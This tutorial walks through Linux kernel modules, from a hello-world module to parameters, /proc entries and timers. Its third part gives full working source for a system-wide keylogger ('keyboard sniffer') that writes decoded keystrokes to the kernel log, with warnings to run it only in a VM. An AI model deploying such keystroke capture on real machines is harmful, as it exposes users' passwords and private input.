Writing a Linux Kernel Module in 30 Minutes: Hello World to Keyboard Sniffer
Before You Start: Safety Warning
⚠️ KERNEL MODULES CAN: - Crash your entire system - Corrupt filesystems - Create security holes (keyboard sniffer!) ✅ ONLY RUN IN: - Virtual machine (VirtualBox/VMware) - Spare test machine - WSL2 (limited hardware access)
Part 1: Hello World Kernel Module (10 minutes)
Step 1: Setup and prerequisites
bash
# Install kernel headers sudo apt install linux-headers-$(uname -r) build-essential # Create working directory mkdir ~/kernel_module && cd ~/kernel_module
Step 2: Write hello.c
c
#include <linux/init.h> // module_init, module_exit
#include <linux/module.h> // THIS_MODULE, MODULE_LICENSE
#include <linux/kernel.h> // printk
// Runs when module loads
static int __init hello_init(void)
{
printk(KERN_INFO "Hello, Kernel! Module loaded.\n");
printk(KERN_ALERT "ALERT: This is a kernel message!\n");
return 0; // 0 = success, negative = error
}
// Runs when module unloads
static void __exit hello_exit(void)
{
printk(KERN_INFO "Goodbye, Kernel! Module unloaded.\n");
}
// Register init/exit functions
module_init(hello_init);
module_exit(hello_exit);
// License (required, affects kernel taint)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("A simple Hello World kernel module");
Step 3: Write Makefile
makefile
obj-m += hello.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Note: Lines must start with TAB, not spaces.
Step 4: Build and test
bash
make # Build module → hello.ko sudo insmod hello.ko # Insert module into kernel sudo rmmod hello # Remove module dmesg | tail -5 # See kernel messages
Expected output:
text
[12345.678] Hello, Kernel! Module loaded. [12345.679] ALERT: This is a kernel message! [12346.123] Goodbye, Kernel! Module unloaded.
Part 2: Parameterized Module (5 minutes)
Add input parameters so users can configure your module.
param.c
c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
static int age = 25;
static char *name = "Anonymous";
static int arr[3] = {0,0,0};
static int arr_count;
module_param(age, int, S_IRUGO); // read-only for users
module_param(name, charp, S_IRUGO); // string parameter
module_param_array(arr, int, &arr_count, S_IRUGO);
MODULE_PARM_DESC(age, "Your age (integer)");
MODULE_PARM_DESC(name, "Your name (string)");
MODULE_PARM_DESC(arr, "Array of integers");
static int __init param_init(void)
{
printk(KERN_INFO "Name: %s, Age: %d\n", name, age);
for (int i = 0; i < arr_count; i++)
printk(KERN_INFO "arr[%d] = %d\n", i, arr[i]);
return 0;
}
static void __exit param_exit(void) { }
module_init(param_init);
module_exit(param_exit);
MODULE_LICENSE("GPL");
Usage:
bash
make sudo insmod param.ko age=30 name="Alice" arr=10,20,30 dmesg | tail # Output: Name: Alice, Age: 30, arr[0]=10, arr[1]=20, arr[2]=30
Part 3: Keyboard Sniffer (15 minutes — Educational Only)
⚠️ WARNING: This captures keystrokes system-wide. Never use maliciously. This is for kernel education only.
How it works
text
Keyboard hardware → IRQ → Input subsystem → /dev/input/event* → Userspace
↑
Our hook intercepts here
keyboard_sniffer.c
c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/input.h>
#include <linux/keyboard.h>
#include <linux/notifier.h>
static struct notifier_block keyboard_notifier;
// This function runs on EVERY keypress (system-wide!)
static int keyboard_callback(struct notifier_block *nblock,
unsigned long code,
void *_param)
{
struct keyboard_notifier_param *param = _param;
if (code == KBD_KEYCODE) {
// param->down = 1 for press, 0 for release
// param->value = scan code
// param->shift = modifier keys (Ctrl, Alt, etc.)
char key_sym = param->down ? '↓' : '↑';
printk(KERN_INFO "KEY: scancode=%d, %s, shift=0x%x\n",
param->value,
param->down ? "PRESS" : "RELEASE",
param->shift);
// Try to convert scancode to ASCII (simplified)
static const char *keymap[] = {
"", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0",
"-", "=", "BS", "TAB", "q", "w", "e", "r", "t", "y", "u", "i",
"o", "p", "[", "]", "ENTER", "CTRL", "a", "s", "d", "f", "g",
"h", "j", "k", "l", ";", "'", "`", "LSHIFT", "\\", "z", "x",
"c", "v", "b", "n", "m", ",", ".", "/", "RSHIFT"
};
if (param->value < 59 && param->down) {
printk(KERN_ALERT "CHAR: %s\n", keymap[param->value]);
}
}
return NOTIFY_OK; // Let other handlers process too
}
static int __init sniffer_init(void)
{
keyboard_notifier.notifier_call = keyboard_callback;
// Register to receive ALL keyboard events
int ret = register_keyboard_notifier(&keyboard_notifier);
if (ret) {
printk(KERN_ERR "Failed to register keyboard notifier!\n");
return ret;
}
printk(KERN_ALERT "=== KEYBOARD SNIFFER ACTIVE ===");
printk(KERN_ALERT "All keystrokes will be logged to dmesg!");
return 0;
}
static void __exit sniffer_exit(void)
{
unregister_keyboard_notifier(&keyboard_notifier);
printk(KERN_INFO "Keyboard sniffer removed.");
}
module_init(sniffer_init);
module_exit(sniffer_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Educational keyboard sniffer - DO NOT USE MALICIOUSLY");
Test it safely (in VM only)
bash
make sudo insmod keyboard_sniffer.ko # Now type anything on keyboard dmesg -w | grep "CHAR" # You'll see every key you type: # [12345.678] CHAR: a # [12345.679] CHAR: b # [12345.680] CHAR: c sudo rmmod keyboard_sniffer
Common Kernel Module Patterns
Pattern 1: Creating /proc entry
c
#include <linux/proc_fs.h>
static struct proc_dir_entry *proc_entry;
static ssize_t proc_read(struct file *file, char __user *ubuf,
size_t count, loff_t *ppos)
{
char msg[] = "Hello from kernel!\n";
size_t len = strlen(msg);
if (*ppos >= len) return 0;
if (count > len - *ppos) count = len - *ppos;
if (copy_to_user(ubuf, msg + *ppos, count))
return -EFAULT;
*ppos += count;
return count;
}
static const struct proc_ops proc_fops = {
.proc_read = proc_read,
};
static int __init proc_init(void)
{
proc_entry = proc_create("mykernel", 0444, NULL, &proc_fops);
return 0;
}
static void __exit proc_exit(void)
{
proc_remove(proc_entry);
}
Read from userspace: cat /proc/mykernel
Pattern 2: Timer/Interval Work
c
#include <linux/timer.h>
static struct timer_list my_timer;
void timer_callback(struct timer_list *t)
{
printk(KERN_INFO "Timer fired at jiffies=%lu\n", jiffies);
mod_timer(&my_timer, jiffies + msecs_to_jiffies(1000));
}
static int __init timer_init(void)
{
timer_setup(&my_timer, timer_callback, 0);
mod_timer(&my_timer, jiffies + msecs_to_jiffies(1000));
return 0;
}
Debugging Kernel Modules
Essential commands
bash
# View kernel messages (live) dmesg -w # Clear dmesg buffer sudo dmesg -c # Check if module loaded lsmod | grep mymodule # Module details modinfo hello.ko # Remove stuck module (even if refcount stuck) sudo rmmod --force mymodule # UNSAFE, last resort # Find all loaded modules cat /proc/modules
Common errors and fixes
| Error | Likely cause | Fix |
|---|---|---|
Unknown symbol | Missing EXPORT_SYMBOL | Use kernel doc or recompile |
Invalid module format | Wrong kernel version | uname -r and rebuild |
Device or resource busy | Module still in use | lsmod | grep find users |
Operation not permitted | Secure Boot enabled | Sign module or disable SB |
The 5-Minute Cheatsheet
bash
# Build system make # Compile .ko file make clean # Remove build artifacts # Module lifecycle sudo insmod module.ko [param=value] # Load sudo rmmod module # Unload sudo modprobe module # Load with deps (from /lib/modules) # Info lsmod # List loaded modules modinfo module.ko # Show metadata dmesg | tail # Last kernel messages # Remove all test modules sudo rmmod hello param keyboard_sniffer 2>/dev/null
What to Do Next (Real Projects)
- Character device driver — create
/dev/mychardevthat echo works with - System call interceptor — track all
open()calls - Network filter — block certain IPs with netfilter
- Filesystem monitor — notify when files are created/deleted
Final Warning (Read This)
text
┌─────────────────────────────────────────────────────────┐ │ 🔴 DO NOT LOAD KEYBOARD SNIFFER ON: │ │ - Your main workstation │ │ - A production server │ │ - Any computer you don't own │ │ - A shared system │ │ │ │ ✅ ONLY USE IN: │ │ - Virtual machine with no sensitive data │ │ - Air-gapped test machine │ │ - Classroom lab environment │ │ │ │ Legal note: Keyloggers are illegal in many contexts. │ │ This code is for kernel education ONLY. │ └─────────────────────────────────────────────────────────┘
Key Takeaways
- Kernel modules run in ring 0 (full hardware access)
printk()= kernel’s printf (usedmesgto see)- Always return 0 from
__initon success, negative on error - Every module needs
MODULE_LICENSE("GPL") - Test in VM first or face kernel panics